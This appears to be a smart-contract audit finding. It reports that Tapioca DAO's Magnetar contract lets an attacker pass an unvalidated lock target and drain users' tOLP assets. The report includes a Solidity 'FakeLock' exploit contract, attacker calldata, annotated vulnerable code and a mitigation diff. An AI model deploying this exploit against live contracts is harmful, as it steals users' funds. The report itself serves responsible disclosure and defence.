# Medium Severity

## Title
tOLP user's assets can be stolen by malicious actors through the Magnetar contract

## Impact
- tOLP user's assets can be stolen by malicious actors through the Magnetar contract

## Proof of Concept
- The [`Magnetar::mintFromBBAndLendOnSGL()`](https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/MagnetarV2.sol#L840-L878) function can be used to deposit mint from BB, lend on SGL, lock on tOLP and participate on tOB, each of these options are optional and not all of them are expected to be used at the same time, so, that means, users can only mint from BB, or only lend on SGL, as well as only lock on tOLP and participate on tOB...
- There is a vulnerability [when locking tOLPs](https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/modules/MagnetarMarketModule.sol#L410-L447), the issue is that the Magnetar contract extract funds from the `user` account (which is received as a parameter) and all those extracted funds are deposited in the YieldBox.
  - Once the funds have been deposited in the YieldBox, the Magnetar contract approves the `lockData.target` account to spend ALL on its behalf, and finally, the Magnetar contract calls the `ITapiocaOptionLiquidityProvision(lockData.target).lock()` function (that means, the execution is forwarded to a contract that is received as a parameter [and is not validated if is a trusted contract or not], and this contract has been granted to spend all assets on the YieldBox on behalf of the Magnetar contract).

- **The attack can be performed as soon as** the `user` authorizes the Magnetar contract to transfer the amount of `ERC20(singularity)` tokens on his behalf.
  - Once Magnetar has allowance on the ERC20(singularity) user's funds, the attacker can call `mintFromBBAndLendOnSGL` and set the `lockData.target` as a `FakeLock` contract which when the `lock()` is executed will do a direct `YieldBox.transfer()` from the `Magnetar` contract to an address owned by the attacker 
  - **(See below an example of a `FakeLock contract` that would allow an attacker to steal the tOLP user's assets)**

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//YIELDBOX
import "tapioca-sdk/dist/contracts/YieldBox/contracts/YieldBox.sol";

import "./interfaces/IYieldBoxBase.sol";
import "./interfaces/IMarket.sol";

contract FakeLock {

  IMarket realMarket;

  IYieldBoxBase public yieldBox;
  
  /// @notice collateral token address
  address public collateral;
  /// @notice collateral token YieldBox id
  uint256 public collateralId;
  /// @notice asset token address
  address public asset;
  /// @notice asset token YieldBox id
  uint256 public assetId;

  uint256 public tOLPSglAssetId;

  address magnetarContract;
  
  function setMarket(address _realMarket) external {
    realMarket = IMarket(_realMarket);

    collateral = realMarket.collateral();
    collateralId = realMarket.collateralId();
    asset = realMarket.asset();
    assetId = realMarket.assetId();
    yieldBox = IYieldBoxBase(realMarket.yieldBox());
  }

  function setMagnetar(address _magnetar, uint256 _tOLPSglAssetId) external {
    magnetarContract = _magnetar;
    tOLPSglAssetId = _tOLPSglAssetId;
  }

  function activeSingularities(address singularity) external view returns(
    uint256 sglAssetId,
    uint256 totalDeposited,
    uint256 poolWeight
  ) {
    sglAssetId = tOLPSglAssetId;
  }

  //@audit => This is the function that will be called by the Magnetar contract
  //@audit => This contract will be granted all permission over the Mangetar contract in the YieldBox, which will allow it to transfer all that Magnetar owns to any address
  function lock(
      address to,
      address singularity,
      uint128 lockDuration,
      uint128 amount
  ) external returns (uint256 tokenId) {

    uint magnetarAssetBalance = yieldBox.balanceOf(magnetarContract,tOLPSglAssetId);
    yieldBox.transfer(magnetarContract, address(this), tOLPSglAssetId, magnetarAssetBalance);

    tokenId = 1;
  }

}
```

- I tried to code a PoC to reproduce the issue but I got a number of multiple configuration problems while trying to setup the tOLP asset in the YieldBox, because I didn't figure out how to register the tOLPSGLAsset in the YieldBox, I tried to use the [`test/magnetar.test.ts`](https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/test/magnetar.test.ts) file to create a PoC.
- **The below explanation is a step by step guide about how an attacker can steal user's tOLP Tokens before they are locked in a real `TapiocaOptionLiquidityProvision` contract by abusing a vulnerability in the `Magnetar` contract**, ***let's break down the code that is reponsible to lock tOLPs***


```solidity
function _mintFromBBAndLendOnSGL(
        address user,
        uint256 lendAmount,
        IUSDOBase.IMintData calldata mintData,
        ICommonData.IDepositData calldata depositData,
        ITapiocaOptionLiquidityProvision.IOptionsLockData calldata lockData,
        ITapiocaOptionsBroker.IOptionsParticipateData calldata participateData,
        ICommonData.ICommonExternalContracts calldata externalContracts
    ) private {

        ...
        ...
        ...

        // if `lockData.lock`:
        //      - transfer `fraction` from user to `address(this)
        //      - deposits `fraction` to YB for `address(this)`
        //      - performs tOLP.lock
        uint256 tOLPTokenId = 0;
        if (lockData.lock) {
            if (lockData.fraction > 0) {
                fraction = lockData.fraction;
            }

            //@audit => By passing a `FakeLock` contract, the below line will return the assetID of the tOLPSGL asset that will be stolen
            //@audit => The attacker sets in advance the value that needs to be returned, and when this function is called by Magnetar it will receive the exact assetId of the tOLP asset that will be stolen.

            // retrieve and deposit SGLAssetId registered in tOLP
            (uint256 tOLPSglAssetId, , ) = ITapiocaOptionLiquidityProvision(
                lockData.target
            ).activeSingularities(address(singularity));

            @audit => Magnetar will transfer from the `user` account the amount of tokens specified by `fraction` into the Magnetar contract
            IERC20(address(singularity)).safeTransferFrom(
                user,
                address(this),
                fraction
            );

            //@audit => Magnetar will authorize the YieldBox contract to spend on its behalf the amount of tokens that were transfered from the `user`
            IERC20(address(singularity)).approve(address(yieldBox), fraction);

            yieldBox.depositAsset(
                tOLPSglAssetId,
                address(this),
                address(this),
                fraction,
                0
            );

            //@audit => Magnetar authorizes the lockData.target to spend ALL on its behalf in the YieldBox
            _setApprovalForYieldBox(lockData.target, yieldBox);

            address lockTo = participateData.participate ? address(this) : user;

            //@audit => Magnetar calls the lock() of the lockData.target contract
            //@audit => On this call is when the funds will be stolen, when the lockData.target contract is executed, it has already been granted to spend ALL that Magnetar owns on the YieldBox
              //@audit => So, it's just a matter of executing a `yieldBox.transfer(magnetar,attackerAccount,tOLPSglAssetId,amount)`
            tOLPTokenId = ITapiocaOptionLiquidityProvision(lockData.target)
                .lock(
                    lockTo,
                    address(singularity),
                    lockData.lockDuration,
                    lockData.amount
                );
            _revertYieldBoxApproval(lockData.target, yieldBox);
          
            //@audit => The result is that all tOLP user's assets were stolen and transfer to an account owned by the Attacker!
        }
        ...
        ...
        ...
    }

```

- This is how it would looks like the calldata when performing this attack, **only locking tOLPs, no minting, no depositing...**
```
await magnetar
.connect(attacker)
.mintFromBBAndLendOnSGL(
  user.address,
  0,
  {
      mint: false,
      mintAmount: 0,
      collateralDepositData: {
          deposit: false,
          amount: 0,
          extractFromSender: false,
      },
  },
  {
      deposit: false,
      amount: 0,
      extractFromSender: true,
  },
  {
      lock: true,
      amount: amountToBeLocked,
      lockDuration: 0,
      target: fakeLock.address,
      fraction: erc20UserTokenBalanceBeforeAttack,
  },
  {
      participate: false,
      target: ethers.constants.AddressZero,
      tOLPTokenId: 0,
  },
  {
      singularity: wethUsdcSingularity.address,
      magnetar: magnetar.address,
      bigBang: ethers.constants.AddressZero,
  },
);
```


## Tools Used
Manual Audit

## Recommended Mitigation Steps
- Add the two below validations to the [`_mintFromBBAndLendOnSGL()`](https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/modules/MagnetarMarketModule.sol#L292-L493) function

1. Validate who is the caller, and ensure that only the `user` can extract funds from his account.
  - If the caller is not the `user`, extract the funds from his accounts, or revert the tx.

2. Validate that the `lockData.target` address is valid and supported `TapiocaOptionLiquitiyProvision` contract.
  - For this, it could be used a mapping to store all the valid `TapiocaOptionLiquitiyProvision` contracts that are supported by the protocol, and if the address passed for `lockData.target` is not an address of a valid `TapiocaOptionLiquitiyProvision` contract, halt the execution and revert the tx.

```solidity
function _mintFromBBAndLendOnSGL(
        address user,
        uint256 lendAmount,
        IUSDOBase.IMintData calldata mintData,
        ICommonData.IDepositData calldata depositData,
        ITapiocaOptionLiquidityProvision.IOptionsLockData calldata lockData,
        ITapiocaOptionsBroker.IOptionsParticipateData calldata participateData,
        ICommonData.ICommonExternalContracts calldata externalContracts
    ) private {

        ...
        ...
        ...

        // if `lockData.lock`:
        //      - transfer `fraction` from user to `address(this)
        //      - deposits `fraction` to YB for `address(this)`
        //      - performs tOLP.lock
        uint256 tOLPTokenId = 0;
        if (lockData.lock) {
+           require(validLockers(lockData.target), "Not a valid address for lockData.target");

            if (lockData.fraction > 0) {
                fraction = lockData.fraction;
            }

            // retrieve and deposit SGLAssetId registered in tOLP
            (uint256 tOLPSglAssetId, , ) = ITapiocaOptionLiquidityProvision(
                lockData.target
            ).activeSingularities(address(singularity));

+           if(msg.sender != user) {
+             IERC20(address(singularity)).safeTransferFrom(
+                 msg.sender,
+                 address(this),
+                 fraction
+             );
+           } else {
+             IERC20(address(singularity)).safeTransferFrom(
+                 user,
+                 address(this),
+                 fraction
+             );              
+           }

-           IERC20(address(singularity)).safeTransferFrom(
-               user,
-               address(this),
-               fraction
-           );

            IERC20(address(singularity)).approve(address(yieldBox), fraction);

            yieldBox.depositAsset(
                tOLPSglAssetId,
                address(this),
                address(this),
                fraction,
                0
            );

            _setApprovalForYieldBox(lockData.target, yieldBox);

            address lockTo = participateData.participate ? address(this) : user;
            tOLPTokenId = ITapiocaOptionLiquidityProvision(lockData.target)
                .lock(
                    lockTo,
                    address(singularity),
                    lockData.lockDuration,
                    lockData.amount
                );
            _revertYieldBoxApproval(lockData.target, yieldBox);
          
        }
        ...
        ...
        ...
    }

```